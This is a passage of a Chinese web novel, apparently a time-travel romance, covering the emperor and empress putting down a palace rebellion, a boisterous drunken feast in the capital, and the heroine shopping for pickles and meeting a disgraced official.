于是,张清寒身后的马上绑着的人越来越多,等他杀出一条血路来到太和殿前时,就见一身影轻盈诡绝,那手轻功不说天下第一,也得排前几,“唰唰唰”地在空中飞来飞去,一把明晃晃映着火光的大刀嘁哩喀喳就是砍啊,左砍一个,右砍一双,那朱红刀穗在黑夜中十分醒目。 而太和殿门早已大开,稳坐在龙椅上的天子还在批奏折,批得颇有成效,先前是堆成了三座小山,现下就剩一座半了。 “臣等救驾来迟,望陛下娘娘恕罪,今反贼……除了娘娘正在打的那个,剩下尽数伏诛。”张清寒率部众下马跪道。 话音刚落,那最后一个反贼也在谢皇后的刀下倒地,谢皇后拍了拍手,抖抖自己那早已凌乱的宫装裙摆道,“清寒!你来了啊!快起身哪来的那么大礼啊。” “多谢娘娘,这后面……”张清寒还没说完,就见那把带着温热鲜血的大刀架在了戚右相的脖子上,接着谢皇后不知从哪又捡了把刀,一把刀架戚右相脖子上,一把刀架六皇子脖子上。 张清寒见状,默默地咽下了所有话,努力将自己缩成无关紧要的一团,抿着嘴不说话。 “戚右相好大的派头,听说是来清君侧,不会是来清我的吧?”谢皇后狡黠一笑,只不过那刀又进了一寸,险些擦破戚右相的皮。 “妖后!大乾本就是李氏江山,可自从有了你,这官不官商不商,纲常伦理士农工商全部乱做一团,你这个妖后,老夫就是拼尽了性命也要为大乾江山除掉你。”戚右相自是有其风骨在的,出身名门圣贤道理装了一肚子。 在他眼里,万般皆下品惟有读书高,庙堂之高是士大夫毕生所愿,而如今在这谢皇后的搅和下,商贾崛起到处都是走家串巷的,读书的不好好读书,农家不好好种地,女人不安于深居内宅,男人反被压着,这天下绝没有这样的道理。 当今天子既纵容这妖后,那他便换个人做天子,他拨乱反正,他何错之有? “我好怕怕啊!”谢皇后反而笑得花枝乱颤道, 转头看向那低着头不曾言语的六皇子道,“六皇兄志向远大,不想做亲王,想做皇帝了呢,可我记着你的母妃是北戎国出身,做不得皇帝啊。” 随即又是一笑道,“啊真是不巧我忘了,你虽做不得皇帝,却能做摄政王啊,可惜你没做成,不然就能让戚右相瞧瞧,这暗中勾结北戎摄政王是怎么治理大乾江山的。” “你说什么?你这是污蔑!”六皇子尚未言语,那戚右相便急了,出口辩白道。 “戚爱卿,这是六皇兄与北戎暗中往来的信件,你睁开眼睛看看吧。”皇帝终于批完了大半奏折,慢悠悠从殿内走了出来,将那几页纸亲手递给了戚右相。 那戚右相抓着那几页纸,双手颤抖话都说不出来,一口大气好悬没喘过来,“你你你!” “成王败寇,要杀要剐随便。”六皇子此时终于开口了,他抬起头来,一双湛蓝眼眸幽深难测,嘴角却挂着一抹笑。 “六皇兄,你我血肉至亲,何至于此啊?”皇帝良久后,叹了口气道。 “血肉至亲?皇家哪里来的血肉至亲,当年二皇兄不也要至你于死地,况且我身上留着北戎的血,你们何曾将我当成过血肉至亲?我不过是你们摆在皇室的物件,当年与北戎交战,我便受尽父皇冷待,如今与北戎通商交好,我就又成了你的吉祥物了?李佑润,我受够了!”六皇子仰天长喝,竟一脖子撞在了谢皇后的刀下,坚毅果决地就要当场赴死了。 给谢皇后吓得赶紧扔了刀,“哎不是,我没想杀你啊,你别粘包赖啊。” “太医!”皇帝大喝一声,在后殿候着的太医一涌而上,赶紧先抢救这脖子一个劲儿冒血的六皇子。 “洪林党谋逆,其罪当诛,为首者判斩刑夷三族,其部下按涉案轻重而论罪,六皇兄……勾结他国,意图谋逆,贬为庶人,终生圈禁于王府内。” 大乾皇帝李佑润于太和殿亲自了结了这场浩浩荡荡的叛乱,所幸这场叛乱乱的只是皇城,而不是天下的百姓。 第106章 太和殿殿门一关,殿外在那儿收拾战场残局,而殿内也十分热闹。 “清寒啊,这回回来就别走了,朕身边可少不得你啊!”皇帝拉着张清寒就不撒手,就差给拉到龙椅上去了。 “……陛下,臣今见您安好,臣的心就安了,然臣今北上亦有些家事,故而怕是在京城留不得。”张清寒退后两步,拱手行礼道。 “家事???”谢皇后洗净了手,换了身黛紫宫装快步走来,接着又说道,“本宫记着你不是无父无母吗?家事?是哪个家呀?不会是清寒你要成家了吧?” 谢皇后那眉飞色舞的神情都快飞起来,半点看不出方才那手起刀落的利落模样,不像个皇后倒像个挤进人群里偏要看热闹的人。 “倒也不是成家,只是臣的……心上人家中有事。”张清寒一见谢皇后那八卦的眼神,他赶紧又退后了两步,他怎么忘了,这帝后二人可是一对“狼狈为奸”的吃瓜乐子人啊。 “心上人啊?好好好,你那心上人姓甚名谁?朕给你们赐婚,朕现在就写圣旨。”皇帝听罢,更是心中一喜,提笔就要写啊。 “陛下,陛下您等一等,臣还未问过她愿不愿意嫁于臣……”张清寒哪里敢让皇帝赐婚,怕是前脚赐婚旨意下来了,后脚六水就背着包袱跑得不知所踪了。 此言一出,就见这一双帝后眉飞色舞了起来,本是威严不可侵的气派活脱脱却成了街口急着看热闹的年轻男女,一个劲儿地挤眉弄眼,明明什么都没说,却臊得一旁的张清寒满脸通红。 “……总之,臣想等她家事解了,父母之命媒妁之言,亲自上门求娶她。”张清寒试着无视眼前两人的揶揄,再次说道。 “好好好,你的婚事,朕啊自然都听你的。”皇帝笑得极为和善,接着又道,“既是要北上,那姑娘也同你一起来了京城吧?” “正是,如今宫中叛乱已定,臣与她想在京城盘桓几日,便前往北戎寻她失踪多时的父母。”张清寒答道。 “北戎?你细与朕说说。”皇帝一下子从正经了起来,眼睛亮得惊人。 这一日,许久不见的君臣老友,自然有许多说不完的话,而酒楼其余人也没有闲着。 这伙人提溜着大包小裹,骑着高头大马拖着后面坐轮椅的杜少仲,一得着京城叛乱平定的事,就紧赶慢赶地从河东出发了。 已近初夏,京城地处北方,地气这才暖和上来,那花儿东开一簇西开一捧的,红的紫的粉的黄的一嘟噜一嘟噜的喜人。 “不是,你们没人在马车里陪我说说话吗?”杜少仲气乎乎地扯开马车的帘子道。 倒不是他平白无故小气,如今时节正是该策马赏景的,可他伤了左肩颠簸不得,只得窝在这马车里探出个脑袋,看也看不真切,稍有不慎这头就撞马车上了。 更可气的是,本是说好这几人轮流在马车里陪着他的,结果一个个骑上马就不撒手了,就让他自己一个人看着这马车里成堆的东西,什么平遥牛肉,柳林碗团,石头饼太谷饼,连汾酒都买了好几瓮,更别提那出了名的醋了,将这马车装得满满登登。 “我们也想坐马车的,但你看这不是没地方嘛。”乔四方挠着脑袋憨笑道。 杜少仲没好气地回头看了一眼,确实这马车里顶多能装下一个半的他,其余的全都被这河东好吃的好玩的给占据了。 “买这么多做什么?净占地方!”杜少仲泄愤般地嚼着满口生香的石头饼说道,这饼上撒了椒盐,一口接一口根本停不下。 程六水看他脸都吃成了个包子状,忍俊不禁笑道,“好吃的东西当然要分享了,正好带去京城给你的父亲大人吃点。” “我父亲?那他最爱的怕就是这汾酒配平遥牛肉了,你别看他表面上是个文质彬彬的儒生,实际啊喝酒划拳吃肉都不再话下,要不我这酿酒的喜好是从哪来的。”杜少仲一听程六水这话,倒是颇有道理,立时赞同地点了点头道。 “你们看!那就是京城最出名的音缘塔,足足有七层高呢,每到初一十五来参拜的人不老少,香火不断。”马陶陶挥舞着马鞭子,兴高采烈地指着那塔尖的方向。 程六水仰头眺望,只见那塔尖半藏在烟云之中,若隐若现却更见其神圣庄严,仿佛牵引着她的思绪穿越在古今之间,大乾国都近在咫尺,这个从未在现代历史书上出现过朝代,一下子便跃然于她的眼前。 她置身于未知的历史中,起起伏伏不知所措,可再一看身边人,真好都是她爱的人与爱她的人,那股子古今交织异世而来的格格不入感,刹那间荡然无存。 程六水夹紧马腹,一个箭步就冲了出去,“来比赛啊,谁倒数第一,谁请大家吃饭!” “等等我!我不要请人吃饭,我要吃白食!”马陶陶纵马而起,嬉笑间就要追上了程六水。 “吃白食?那不能够,我要去京城最好的馆子吃!”赵玉雨颠颠地跟了上去,不知哪来的三个疯女子,乌发凌乱在空中,轻纱裙摆错落有致地荡起。 金乌曜日,丝丝缕缕日光照耀在她们身上,笼 起了这无忧无虑的好时光,漫山遍野的花儿草儿随风摇摆着枝丫,好似在为她们摇旗呐喊。 “她们仨是不是把咱俩忘了?”杜少仲愣了半晌,缓缓侧首对着一旁的乔四方道。 “没事,钱袋子在我这儿,她们跑到哪儿都得回来。”作为一名尽职尽责且武力高超的账房先生,乔四方安心地摸了摸自己胸口处沉甸甸的钱袋子,胸有成竹道。 杜少仲看着此时的乔四方,不得不说出了夸奖他的四个字,“你真是大智若愚啊。” “你才愚呢!”乔四方捂着钱袋子,立着眼睛瞪了瞪杜少仲,“小心我也和她们比谁跑得快去。” “嘿嘿嘿。”杜少仲笑了好几下,右手从车窗伸出,牢牢抓住了乔四方的缰绳,深怕这人也跑了。 等到张清寒再次见到他的这帮好友时,已经是日落时分了,他出了宫先是回了他在京城的宅子,这里本就是他与伙计们约定的见面之处,可他一推门,没车没马也没人,空空荡荡的宅子,喊一声都是回响。 门口把守着的侍从见自家大人跑了里三圈外三圈,这才上前道,“大人,午后有人来留话。” 张清寒那腿都溜达细了,他瞪大着眼睛道,“那你怎么刚才不说?” “是那人说的,让大人找一找再告知大人,属下不敢不遵……她说她是大人的……未婚妻。”这侍从说着说着,还悄摸摸抬眼看张清寒。 谁知这一看,竟见了张从未见过的大红脸,张清寒眼睛都直了,红得跟那锅炉一眼,就差冒烟了。 他僵在原地了许久才十分不自然道,“她还说什么了?” “她还说,让您去醉星楼寻他们,他们等着您结账呢。”侍从小心翼翼道,心下却有了底,瞅自家大人这模样,怕那顶好看的姑娘把他家大人拿得死死的。 “行,你吩咐人打扫出几间客房,留一间客房在汀水苑。”张清寒纵身一跃上马道。 侍从这下子都差点没憋住笑,汀水苑?那不是就在主屋旁吗?想来就是给大人未婚妻留的,这可真是太好了,他得赶紧告诉皇城司的弟兄们去。 醉星楼乃是京城数一数二的酒楼,鲁川粤苏闽浙湘徽,八大菜系那是应有尽有,楼内楼外装饰皆是豪奢风雅,往来间更是文人墨客权贵富商。 “这果木烤鸭外酥里嫩,一口下去鸭肉鸭油香得能吞舌头,配上这薄饼一张,几根葱白,最后再来点这甜面酱,真可谓是相得益彰,金银都不换啊。”程六水一边包着烤鸭卷,一边陶醉道。 这已经是她吃得第三个烤鸭卷了,瞧这金黄的鸭皮酥酥脆,油脂最多最好吃了,等她回去她就在酒楼弄个烤鸭架子,馋了就烤一只吃! 张清寒推开门,就见一张粉白的小脸上吃得油渍麻花的,跟只小花猫似的,挠得他心里格外的痒,这几日的疲惫竟一扫而空了。 “老大你来了!你快过来吃这酸菜白肉,哎呀妈呀我可老久没吃着了,太正宗了。”乔四方坐在门边,一见来人只见拉着坐下道。 旁人家的酸菜白肉吃得就是个大荤大肉,好吃却有些腻,而这醉星楼则另辟蹊径,虽也用白肉却将那肥腻腥气祛除了,只留白肉的肥香,再用腌制到正正好好的酸菜一炖煮,酸爽脆生的酸菜裹着晶莹剔透的白肉,一筷子蘸到蒜酱里,简直是无上的美味。 “好,你们也吃。”张清寒敛起胸中涟漪,舒了几口气道。 “我们都吃一会儿了!”杜少仲从炸酱面里终于舍得出来了,他本就是京城人士,平生最爱吃这炸酱面,是怎么吃都吃不腻的,如今逮到机会吃了可不是得吃个够吗。 胡瓜丝萝卜丝还有豆芽倒入那劲道爽滑的手擀面里,一碗用甜面酱和黄豆酱炸好五花肉丁往里一扣,嘁哩喀喳一拌,酱香爽口得很,再来上些腊八醋腊八蒜,吃得杜少仲都找不着家在哪了。 第107章 张清寒见众人吃得如此畅快,不知不觉也卸下了这场叛乱的重担,几筷子吃了好大口炙子烤肉,腌透了的肉片就着胡葱圆葱丝,在炭火上烤得焦香焦香的,本就是最上等的肉在炭火中又有了几分烟熏风味,就着一旁烤得酥脆的白面饼,满足得很。 “喝!”程六水酡红的小脸蛋一个劲地晃,手里还举着盏子干杯,连那烤鸭卷都不吃了,正在那儿数着老虎菜里的花生米,一个两个三个,怎么重影了呢? “六水乖,咱不喝这个。”张清寒一个不注意,谁曾想一贯不曾贪杯的六水竟吃酒吃醉了,给他吓得刚动起的筷子就摞下了,忙用手中的清水来换那盏酒。 “我不要,你骗我!”程六水直着眼睛都快对眼了,点着张清寒手里那杯道,“你这杯里不好喝,我这杯才好喝,香香的有……有莲花的味道。” “哎呦我的小姑奶奶,你别站起来了。”张清寒急得赶紧上前捞起了,连腰都站不直的程六水。 “六水真是好眼光,这莲花白可不是什么时候都能喝到的,那可是取了大明湖湖中央最为娇嫩的白莲蕊,又加了几十种名贵药材七七四十九天酿成的,再在地窖里放上好几年,待取出来酒香扑鼻清冽宜人,真是不可多得的美酒啊。”杜少仲一连饮了几盏也有些迷糊了,喃喃自语地吟唱起来“太一沧波下酒星,露泣秘诀出仙扃。情知天上莲花白,压尽人间竹叶青。” 张清寒一看杜少仲这个酒中高手都迷糊了,再一闻,好家伙这莲花白香是香,却着实烈得很,怪不得六水醉成这个样子呢。 “四方你……”张清寒本想让四方将杜少仲搀扶回去,结果一瞅好家伙,这一桌人都倒了,没一个能支起脑袋的。 午后本还寂静冷清的宅子,临到黄昏反而热闹了起来,一个个身穿飞虎服的侍卫在院落间搬搬扛扛,只不过有的是搬物,有的是搬人。 在无人注意的院墙外,有两人正在鬼鬼祟祟地探听着,东张西望地很是不成体统。 “你说是不是那个?”正在探头探脑的女子说道,皱着眉一副高深莫测的模样。 “不是吧,我瞅着这人怎么有点眼熟?”一旁的男子眨巴着眼睛,左看右看。 “啊不是,那是牧川的妹妹,我听说是个生面孔,但长得顶顶好看。”这女子振振有词道。 “你听谁说的?消息怎的这么灵通?”这男子一边啃着麦芽糖,一边问道。 “哎呀皇城司都传开了,说是清寒的未婚妻来了,还安排在了汀水苑住。我这一听那还得了,我连千鲤池的鱼都不喂了,赶紧过来瞅瞅。”这说话的女子不是别人,正是宫里那位母仪天下的谢皇后。 而谢皇后身边这位,自然是本在批奏折,却被娘子拉出来放风的皇帝陛下,“我记得萧墨的亲弟弟,是不是这回也来了?” “对对对,你看看这院子里真热闹啊,宫里就是太冷清了,没意思得很。”谢皇后说着说着,就撅起嘴来了。 “都是我对不住你,以后我多陪你出来走走可好。”皇帝赶忙上前哄着自家娘子,余光顺着娘子的目光看去,没忍住地撇起了嘴,这热闹他要不还是不要了吧。 他昔日在朝堂上规规矩矩的杜翰林,现在为何拄着根树棍站在石桌上高歌一曲,而马牧川的妹妹正要蹿上旁边的大柳树,半点闺阁女儿的样子也没有,简直就是个窈窕淑猴。 那五大三粗黑脸汉子,一看就是萧墨的同胞弟弟,这一口大白牙在黑夜里真是过于显眼了,他那么大一坨怎么就在花丛里采花了呢。另外两个姑娘倒是不吵不闹,就在树旁数揪叶子玩,揪来的叶子全扔在杜翰林身上 了。 唯有张清寒还是清醒着的,他坐在石桌前早已闭上了眼,压根没眼看自己这帮伙计,更没眼看他皇城司的下属,几个醉鬼都捉不住,整个院子乱成一团。 “你说这俩姑娘哪个是清寒的未婚妻啊?”皇帝敛住心神片刻道。 可惜无人回答,他侧首一看,自家娘子怎么跑没影了,留给他的只有初夏有些冰冷的凉风。 他的皇后正在和杜翰林一同高歌,“关关雎鸠~在河之洲~沙场点兵~王八绿豆~” 这位皇帝想,他刚才或许说错了,以后还是莫要陪着皇后出来玩耍一番了,再这么玩耍能给他吓飞了。他这么想着,再一抬头,真的差点就从院墙吓得掉下去了…… “清寒,好巧!”皇帝在院墙上待久了,发冠都在风中凌乱了,他方才还在那儿说别人不像样子,这天下哪有皇帝扒臣子院墙的? “陛下,夜色已深,有事找臣?”张清寒抿嘴笑着,接着又道,“怎么不走门呢?是我这院墙更好走?” “哈哈哈哈,那个我是来听歌的,你看皇后唱得不错吧?”皇帝嘴角不禁抽动了下,但皇帝就是皇帝,笑得那叫一个如沐春风啊,不知道的还以为他真是行得端坐得正呢。 “娘娘唱得自然都是好的,要不陛下您还是翻墙过来吧。”张清寒叹了口气道,一转头就见杜少仲正在给谢皇后推销河东汾酒。 那谢皇后也不是吃素的,年少时走南闯北,北戎西域都是去过的,自是不拘小节上来就是痛饮几杯,这回唱得更起劲了。 张清寒只能按住自己不断跳动的神经道,“陛下,臣这儿热闹吧?” “热闹热闹,真是鬼热闹,那个是你的心上人吧?”皇帝拄着头,听着自家娘子那要人命的歌声,看向程六水道。 “是,六水性子有些活泼。”张清寒见六水终于不揪叶子了,小脸蛋粉扑扑的,眼眸直勾勾的,迷迷糊糊地抱着大树不动弹。 “活泼点儿好,有生气。”皇帝捂住了一边的耳朵,他这娘子能文能武,就是这歌喉实在是过于声嘶力竭了,偏偏她自幼习武中气十足,歌声实在是颇具穿透力。 “陛下与娘娘是来看臣的心上人的?”张清寒瞧着皇帝这模样,幸灾乐祸道。 “你这么冷心冷情,自然是要来瞧瞧什么样的女子能忍受得了你,如今看来果然卓尔不群,这样好的姑娘,可得早些成婚,小心被人拐跑了,朕听说那伯远侯便是听了她的话,去北境带兵去了?”皇帝意味深长道。 “伯远侯也算是塞翁失马焉知非福,整个洪林党未参与叛乱的寥寥几人,便有他一个。”张清寒笑道。 “这姑娘是个福星,清寒,你能找到意中人,朕这心里是真高兴啊……”皇帝话还没说完,就听一声震天响的声音在耳边响起“天苍苍,野茫茫,风吹草低见牛羊!” “好好好见牛羊,朕带娘子回宫吃羊肉锅子好不好?”皇帝下一瞬也跳上了桌,诱哄着谢皇后回宫。 “见牛羊!我要看小羊羔子,不要吃羊肉锅!”谢皇后已然是醉倒了,指着皇帝鼻尖道,“我要你当小羊羔子,你要给我咩咩咩。” 皇帝赶忙捂住了谢皇后的嘴,幸亏在场的不是醉汉就是心腹,他生怕娘子再说出些闺房之话了,那他这个皇帝的脸面就要真去见牛羊了,拉着谢皇后就要走啊。 “那个,清寒啊,朕改日再和你一叙。”皇帝苦笑着,只不过笑比哭还难看。 “臣遵旨。”张清寒目送着,大乾英明神武的皇帝带着祸国殃民的谢皇后又翻墙出去了,真是从来都不知道门在哪里啊。 “我困困了。”一声软绵绵的声响从张清寒身后传来,他怔了一瞬,心里刹那间软成一片,转过头道, “我带你回房睡觉?”张清寒走上前,轻轻扶住六水。 “是睡觉觉~”半醉半醒间的程六水在迷蒙间,瞧见了一个很俊俏的男子,说不上哪里俊俏,却哪哪都好看,这么好看的人怎么能不睡觉觉呢~ “好好好,睡觉觉,走。”张清寒虚扶着六水,慢慢悠悠地朝着汀水苑走去。 “你是谁啊?”浅白月光下,程六水澄澈的眼眸闪着亮光道。 “我是张清寒。”他轻声答道。 “张清寒是谁?我是程六水。”她软乎乎地靠在他身上。 “张清寒是六水的。”他亦靠得极近,清影如一人。 “吧唧”一声,程六水嫣红的唇瓣印在了张清寒的脸上,紧接着是他的下巴,额间,最后是他好看的嘴唇。 “我的我的都是我的,张清寒是六水的!”醉倒成一小团的程六水,毫无忌惮地叫嚷着,叫嚷着本就属于她的张清寒,每一声每一下都印在了他的心里。 张清寒不再犹疑,轻轻衔起那软绵的唇,无比珍视与小心地触碰,心底处叫嚣的不安与焦躁,在此刻尽数被予取予求的六水抹平了,却又激起了深入骨髓的占有,一点点侵入唇瓣,这不够远远不够。 “呜呜,我困困了。”亲到一半,程六水十分不客气地打了个哈欠,眯着眼撅着嘴道,“我要你背我!” “好好好背你,一辈子都背你。”张清寒认栽般低头道—— 作者有话说:“太一沧波下酒星,露泣秘诀出仙扃。情知天上莲花白,压尽人间竹叶青。”出自元代李治的《鹧鸪天遗山乐府下附》 “天苍苍,野茫茫,风吹草低见牛羊!”出自《敕勒歌》南北朝 第108章 滴滴答答的雨声在屋檐出落个没完,落在那困倦到极致的人耳中,却是意外的催人好睡,翻来覆去间竟睡过了这半程雨夜,再一睁眼和煦的日光透过薄纱照了进来,清风拂过其中,掺着些许青草的香气,钻进了微动的鼻间。 程六水迷蒙着双眼,懒怠至极地伸了伸腰,从这陌生的榻上翻了个身,瞧着那帘幔形似半山起伏,指尖得了趣般轻轻勾弄着,摆来摆去了半晌,随着这山峦起起伏伏,她这意识才回了笼。 “啊!!!!”程六水狠狠捂住了自己的脸,发出了雷霆般的响声,她怎么能?怎么能缠着他亲嘴呢!她都做了些什么啊,这绝对不是她!一定是昨日喝的酒有问题! 屋外人听见了动静,偷偷轻笑了两下,冷白脸上说不出的光亮,驱散了那眉宇间与生俱来的寒意。 “醒了?”张清寒轻轻推开门,端着一盏白粥,几碟清爽落胃的小菜而来,就是这脸上的笑啊是怎么也止不住的。 “你笑什么!”程六水鼓足了全身的气势,梗着脖子抬起通红的小脸道。 张清寒并未言语,只是走近了两步,没忍住揉了揉她睡了一夜,早已毛茸茸炸乎乎发顶,“怎的睡成个小狸奴,炸起毛来可爱得紧。” 程六水被这么一揉,那气鼓鼓的威视跟戳破了的水球一样,瞬间全瘪了,低头喝了半天粥才仰起头道,“这个粥熬得不错,你熬的?” “是,怎么样得了你的真传吧?”张清寒殷勤地再舀了一碗递到了六水面前。 原本他觉着这白米粥简单得很,左右不过两样东西,白米和水,就这么煮着,煮熟不就能吃了吗? 可偏生六水煮得就是较旁人米香四溢,不稠不稀连米油都熬出来了,他这才知道,原来再简单的饭菜,只要花了心思就能更为可口。 六水做白米粥,这白米下锅前得先在冷水里两刻钟,原本干瘪的米粒不知不觉就泡足了水,这时锅里的水也开了,再将那白米倒入锅中,趁着锅中米水还没咕嘟起来,取勺子不停翻搅。 待到锅再开了,少加些柴火转成小火,此时盖盖煮着,煮到火候差不多了,滴上几滴香油,那小勺子又派上了用场,沿着一个方向搅着,渐渐这白米粥便从清汤寡水变稠了起来,连那米油都熬出来了,关火齐活,这白米粥才算是熬好了。 张清寒偷学了来这手熬粥的本事,如今终于派上了用场,尾巴都快翘上天了,微微仰起头就想要些好听的甜言蜜语。 可惜媚眼抛给瞎子看,那程六水的注意力早就被白粥旁的几样小菜勾住了,与她在酒楼做得那几样不同,不用吃一闻就酱香味十足。 她在酒楼做的胡瓜泡菜,颜色透亮一开瓮就是蒜香辣椒香,甜滋滋酸溜溜,而眼前这甜酱胡瓜却着实不同,怕是一斤胡瓜得配七两的甜面酱,才 能腌得这般脆爽甜咸。 程六水夹起一块轻轻一咬,果然是与众不同,外里已是墨绿,内里居然是红嫩嫩的,此时再来一口白粥最为适宜,酒醉不适之感尽消,胃里暖呼呼舒服得紧。 “这酱菜哪买的呀?”程六水扒着一旁的白糖蒜道。 “是京中很有名的一家酱菜馆,七定堂。”张清寒见六水看这酱菜看得认真,自个儿被她忽视了也不恼,只是笑道。 “我要去瞅瞅!”程六水蹦蹦跶跶就跳起来,而张清寒一见她要换衣服早就跑出去了,嘴里还念念有词什么“非礼勿视”。 “行了别念了,大家都还在睡着?”程六水麻溜利索地穿好了一身简简单单的嫩黄襦裙,大摇大摆地推开门道。 “陶陶去寻她哥哥了,四方自然是跟着的,至于少仲与玉雨说是要逛逛,怕是过会儿就去杜尚书府上了。”张清寒跟上程六水的脚步道。 “你跟着我作甚?我要去酱菜馆。”程六水转过头盯着身后的跟屁虫道。 “我……不带我去吗?”张清寒被问了一愣,眼神躲闪间委屈巴巴道。 程六水一脸嗔怪道,“京城刚刚平定叛乱,你不应是有许多公事要处理吗?” 张清寒默默地低下了头,是有很多公事没错,但他今日可是特意腾出来一天,就是想陪六水好好逛逛京城,再过几日京城太平些,他的职责尽了,他们这一行人就又要上路了。 他想着陪六水,可六水却没想着他,张清寒好端端一个七尺几的男子,一时间竟显得格外单薄飘零,明明是疏阔男儿,心里却皱皱巴巴的见不得人,梗着脖子说不出话来。 程六水本就是个鬼灵精,见人半分眼色便知其意,方才陷在那酱菜里没腾出心神来,如今微微一瞧,便知自家这位新上任不久的意中人又恼了。 她虽算活了两辈子,却没怎么涉足过情爱,见的最多的就是偶像剧里霸道总裁爱上我的戏码,若说霸道总裁,那张清寒文武双全权势滔天,起码算是个权臣,不比那总裁差。 至于霸道嘛,她抿着嘴又悄摸看了眼这位权臣,大抵是不够霸道,不仅不够霸道,还总是拈酸吃醋,没事就恼人得很,一张嘴却锯成了闷葫芦,就知道用那双怯生生的眼睛瞧她,给她瞧得实在是没着没落。 她这一世英名,好不容易穿越一回,没想到竟栽在了这么一双眼睛上,真是幸哉苦哉。 “好啦好啦,带你去好不好,我一个人在这京城人生地不熟的,要是没了清寒,我可怎么办呀。”程六水说着说着,连那眼泪都抹上了,好一个无辜少女啊。 实则她早就在进城的时候买了份京城布局图,哪里有好吃的好玩的都看好了,那七定堂酱菜馆定在东市,东市最为繁华,尽是几十年的老店,还有不少好酒肆饭馆。 张清寒一见六水抽抽噎噎的,一时间那皱皱巴巴的心跟泡进了水里似的,急忙眼巴巴上前道,“莫哭莫哭,我早就备好了马车,今日你想去哪我都陪着。” “嘿嘿我才没哭呢!”程六水把那手绢一扔,哪里有哭的模样,怕是牙都要笑掉了。 “六水!”张清寒撇着嘴无奈又好笑道。 “走吧走吧,我还没坐过大官的马车呢,张大人还不来伺候本姑娘!”程六水自顾自地甩着帕子就朝大门口走去,身后的张清寒忙不迭地跟上,那笑得别提多不值钱了。 一路平稳得很,张府就在宫墙边上,去哪都是十分方便的,不出程六水所料,这七定堂真就是在东市。 程六水下了马车,就开始……排队,现下都快到晌午了,可七定堂的人还是只多不少,屋内一个个大坛子,琳琅满目的酱菜整整齐齐地摆在其中。 她踮起脚尖四处张望着,在人缝中好不容易瞧见了一坛子里装的酱菜,竟是苤蓝切成梅花块的做的,这苤蓝本是圆咕隆咚的,在中原腹地以南不多见,但京城地处北方雨水不多,正适合这苤蓝生长。 除了苤蓝,这坛子酱菜里还有不少配菜,胡瓜白萝卜藕片花生米,这么多花样酱在一起,程六水就是不尝,光想想闻闻,就知道肯定错不了。 队伍终于缩短了一点,她这回不用踮起脚尖了,打眼一瞧好家伙又是苤蓝做的酱菜,只不过这回是切成丝的了,腌菜师傅的刀工定然是出神入化的,小小的苤蓝丝都切得粗细均匀,被甜面酱腌成了深褐色,撒上些芝麻增了香气。 “老板,来二两八宝菜,再来二两麻仁金丝。”站在程六水和张清寒前面的客人终于排到了,沉着嗓子说道。 原来方才看的这俩酱菜叫这个名啊,这酱菜馆看来不仅酱菜做得不错,连名字都取得好,高端大气上档次,程六水点了点头想着。忽然又皱紧了眉头,等会儿这前面客人的声音怎么这么耳熟呢? “这位大爷?”程六水拍了拍前面客人的肩膀。 那客人下意识就转头过来,刹那间三人目光交汇,就连张清寒都先是一愣,才反应过来。 “钱大人?”张清寒皱眉道。 “客官您的八宝菜和麻仁金丝!”老板乐呵呵地包好了酱菜过来,对着钱三才道。 钱三才今日与月前在江陵时极为不同,这才多久竟似苍老了许多,苦笑道,“到你们了。” 程六水眼睛一亮,“老板,我要一斤八宝菜,一斤麻仁金丝,一斤甜酱甘露,一斤甜酱萝卜,一斤甜酱黄瓜。” 钱三才本来都要颤颤巍巍走了,也不禁转过头来掩面咳嗽了两声道,“程姑娘,你这是要齁死谁啊?” 那七定堂的老板顿时也哈哈大笑道,“不碍事不碍事,我家酱菜齁不死人的,客官一斤一斤买,定是认准了我家酱菜,我这就给你包好。” 于是京城东市,正午时分,一器宇轩昂清风霁月权臣捧着五个酱菜坛子,一旁跟着个吃驴打滚的黄裙姑娘,这姑娘还不忘给旁边的钱姓老大爷分驴打滚吃。 第109章 “大爷,不是钱大人,你尝尝这驴打滚可好吃了,黄豆面裹得又厚又多,里面这糯米一看就是今早做好的,包着红豆馅里三层外三层的,甜香软糯我还能再吃两个。”程六水乐呵呵美滋滋地吃了一个,接着又拿出一个来。 那钱三才拎着那两包酱菜,身着布衣,本来有些佝偻的肩膀,不知为何见了这程小姑娘,竟渐渐舒展开来,眼里也有笑模样了。 他接过那黄豆面的驴打滚,轻轻一口咬下去,是甜的。 “莫叫我钱大人了,我从昨日起便不是什么大人了,如今庶民一个,倒是乐得自在。”钱三才撇着嘴道,说罢颇有些自怨自艾,可怎么这驴打滚吃着吃着这么粘牙呢,他都顾不上伤心了。 “钱伯伯,不管您是大人还是庶民,我都记得您半夜给我做鸡蛋糕,多给我打了两个鸡蛋。”张清寒忽然开口道。 “你,你不怨我?”钱三才眼神震惊着,仔仔细细瞧了瞧张清寒的面色,果真半点起伏看不出。 “我为何怨您?您看着陛下长大,自然不喜陛下将这偌大权柄分于皇后娘娘,我若是您怕是也会如此。”张清寒轻声道。 钱三才停了半晌才说出话来,“小清寒还是你懂我啊,可惜老夫信错了人,信错了戚右相,而那戚右相也信错了人,到头来不过是一群糊涂蛋的一出儿戏罢了。陛下开恩,恩赦了我这把老骨头,放我出宫养老,我已知足了,只是……”他欲言又止,嘴上虽笑着,却依旧苦得很,总有些化不开的愁悲。 “只是您担心,皇帝陛下怨你?”程六水眨巴着眼睛,擦了擦自己吃得满脸都是的黄豆面道。 钱三才刚想点头,却又摇头道,“谋逆之罪,陛下能这般开恩,我有何可担心的呢。” “钱伯伯,那你这碧玉玉佩还算数不?”程六水从挎着 的小包里取出了一个手绢团子,打开手绢是另一个手绢,再打开另一个手绢,那玉佩终于是得见天日了。 “这玉佩……”钱三才自然知晓这玉佩,是月前他赠与程小姑娘的,那时他还允诺引荐她进宫,可如今他身前身后空无一人,如何引荐得了。 “我现下无权无势,怕是要失信于姑娘了。”钱三才退后几步,深深行礼道。 “啊,那我眼巴巴从江陵来京城,这我也太可怜了吧。”程六水哭丧个脸,楚楚可怜地望向钱三才。 “老夫如今只余下一宅子,还有早年盘下的永安楼,其余怕是没什么了,不如我把这永安楼赠与姑娘,姑娘虽进不得宫,却能在京城有间自己的酒楼,假以时日也定能名震大乾。”钱三才真心实意道,他早已没了什么心气,他个年近花甲之人,莫不如成全了这程小姑娘,让永安楼不至于蒙尘。 “这永安楼费了您不少心血,六水不过是说着玩的,您莫要当真……”张清寒话还没说完,就被六水打断道。 “哎呀那是不是有些却之不恭?不如您与我在这永安楼切磋厨艺如何?若是我赢了您,那这永安楼再归我。”程六水歪着头噙着笑,明明说的很是诚恳,但只要熟悉她的人一听,就知晓她心里不定打着什么鬼主意呢。 